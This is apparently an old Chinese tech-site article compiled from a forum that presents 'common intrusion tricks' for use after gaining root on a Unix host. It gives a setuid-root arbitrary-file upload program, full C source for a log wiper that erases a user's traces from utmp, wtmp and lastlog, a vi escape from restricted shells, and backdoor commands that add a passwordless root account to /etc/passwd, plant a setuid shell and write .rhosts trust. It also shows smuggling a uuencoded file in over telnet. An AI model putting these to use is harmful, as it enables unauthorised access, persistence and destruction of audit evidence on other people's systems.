科技行者

行者学院 转型私董会 科技行者专题报道 网红大战科技行者

知识库

知识库 安全导航

至顶网网络频道常用的入侵小技巧全集

常用的入侵小技巧全集

  • 扫一扫
    分享文章到微信

  • 扫一扫
    关注官方公众号
    至顶头条

侵入成功后,拿到root权限了,这个东东可以把他的服务器的访问权限改了,让任何人都可以上传文件 !

作者:论坛整理 来源:zdnet网络安全 2008年2月17日

关键字: 安全技术 攻击防范 入侵

  • 评论
  • 分享微博
  • 分享邮件
1 UPLOAD 
侵入成功后,拿到root权限了,这个东东可以把他的服务器的访问权限改了,让任何人都可以上传文件 ! 
root 状 态 下, 运 行 Install 后, 
upload 将 允 许 普 通 用 户 上 载 文 件 至 任 何 目 录 下。 
# chmod 755 install 
#./install 
$Content$nbsp;more install 
#! /bin/csh -f 
cc upload.c 
cp a.out upload 
chown root upload 
chmod 755 upload 
chmod u+s upload 
$Content$nbsp;more upload.c 
#include <stdio.h> 
main() 

char filename[48]; 
printf( "This program will upload up.txt ASCII file to specified file\n" ); 
printf( "XXX Copyright Reserved\n" ); 
printf( "Where to upload (include path and filename)? " ); 
gets( filename ); 
upload( filename ); 

int upload( filename ) 
char *filename; 

FILE *fp,*outp; 
char c; 
fp=fopen( "up.txt","r" ); 
outp=fopen( filename,"w" ); 
if( fp== NULL ) { 
printf( "file not exist." ); 
return 0; 

for( ;; ) { 
c= fgetc( fp ); 
if feof( fp ) break; 
printf( "%c",c ); 
fputc( c, outp ); 

fclose( fp ); 
fclose( outp ); 
return 1; 


2 破坏现场 
进入系统后,出来以前怎么破坏现场?抹掉自己的脚印? 

编辑 /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. 
请使用专门的编辑器 

例子: 

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#define WTMP_NAME "/usr/adm/wtmp" 
#define UTMP_NAME "/etc/utmp" 
#define LASTLOG_NAME "/usr/adm/lastlog" 

int f; 

void kill_utmp(who) 
char *who; 

struct utmp utmp_ent; 

if ((f=open(UTMP_NAME,O_RDWR))>=0) { 
while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) 
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { 
bzero((char *)&utmp_ent,sizeof( utmp_ent )); 
lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); 
write (f, &utmp_ent, sizeof (utmp_ent)); 

close(f); 



void kill_wtmp(who) 
char *who; 

struct utmp utmp_ent; 
long pos; 

pos = 1L; 
if ((f=open(WTMP_NAME,O_RDWR))>=0) { 

while(pos != -1L) { 
lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); 
if (read (f, &utmp_ent, sizeof (struct utmp))<0) { 
pos = -1L; 
} else { 
if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { 
bzero((char *)&utmp_ent,sizeof(struct utmp )); 
lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); 
write (f, &utmp_ent, sizeof (utmp_ent)); 
pos = -1L; 
} else pos += 1L; 


close(f); 



void kill_lastlog(who) 
char *who; 

struct passwd *pwd; 
struct lastlog newll; 

if ((pwd=getpwnam(who))!=NULL) { 

if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { 
lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); 
bzero((char *)&newll,sizeof( newll )); 
write(f, (char *)&newll, sizeof( newll )); 
close(f); 


} else printf("%s: ?\n",who); 


main(argc,argv) 
int argc; 
char *argv[]; 

if (argc==2) { 
kill_lastlog(argv[1]); 
kill_wtmp(argv[1]); 
kill_utmp(argv[1]); 
printf("Zap2!\n"); 
} else 
printf("Error.\n"); 


3 突破SHELL 
许多攻击系统的方法都需要攻击者首先有一个命令行式的Shell,如 /bin/csh 。但有些系统提供给用户的却是菜单式的定制Shell,如 pink 。所以如果你想攻击这个系统的话,首先必须要冲破这个定制shell。 
我们可以利用 vi (UNIX中标准的编辑器) 的一些命令来达到这个目的。具体过程如下: 
(1).在定制Shell中选择编辑文件,这时系统启动 vi。 
(2).在 vi 中,输入以下命令序列:(注意:输入的命令包括最前面的 ’:’ ) 
:set shell=/bin/csh 
:shell 
3.这时,就像在DOS程序的File菜单中选择Dos Shell菜单项一样,系统启动一个Shell,而这个Shell刚刚被我们设定成 /bin/csh,因此我们就得到了一个命令行式的Unix Shell。 

4 后门 
进入一个系统以后随手留下一个后门确实是很好的习惯:) 这里介绍几种简单的后门设置方法: 
(1). setuid 
#cp /bin/sh /tmp/.backdoor 
#chmod u+s /tmp/.backdoor 
加上 suid 位到shell 上,最为简单方便. 
(2). echo "wyj::0:0::/:/bin/csh" >> /etc/passwd 
即给系统增加一个 id 为 0(root)的帐号,无口令. 
(3). echo "+ wyj">>/.rhosts 
即本地的名为wyj的用户可以直接 rlogin target 无须口令此时的wyj就相当于口令,不知道的人是不能进去的.前提是目标的port 512or513or514 opening. 

5 用telnet上传文件 
如果ftp被关了,sendmail也不行,如何把编译好的文件上传到主机呢? 
方法很简单: 
1.先把要上传的文件用uuedcode进行编码,文件会变成大概下面的样子: 
begin 644 file.bat 
M.C!J95@T92TP,#503U!=:%=E6#5D9%!>,2Q&1D9&1C$L1D9&,2PT<E!>4%]J 
M95@T85!9+7@M04%28#!@*CTP,’500D])04%!049+04]"4$E$34-"04Q%04I- 
M3D-"2D%,24%!14U-3D-"1D5’24=&0T%%3D="1T1(0T=02$=’2DA#2$9(1$-! 
M1TI(1$-!1T1’4$=.1TI’3T=(0T%#3T-/0T]#3T-/0T]!3D%+0T5!07%Q<7$@ 
M"D!%0TA/($]&1B`*0T]062`E,"Y"050@+T(@0SI<0D%45DE2+D-/32`O0B`O 
E62`*0SI<0D%45DE2+D-/32`*1$5,($,Z7$)!5%9)4BY#3TT@"@`` 

end 
sum -r/size 17903/262 
全部都是可见的ASCII字符了 
2.用TELNET连接到主机后输入 
$Content$nbsp;cat >a 
然后用WINODWS的拷贝/粘贴,把文件粘贴到telnet窗口 
按^d 
在当前目录下产生文件a 
3.uudecode a 
文件复原,然后chmod即可 
    • 评论
    • 分享微博
    • 分享邮件
    邮件订阅

    如果您非常迫切的想了解IT领域最新产品与技术信息,那么订阅至顶网技术邮件将是您的最佳途径之一。

    重磅专题
    往期文章
    最新文章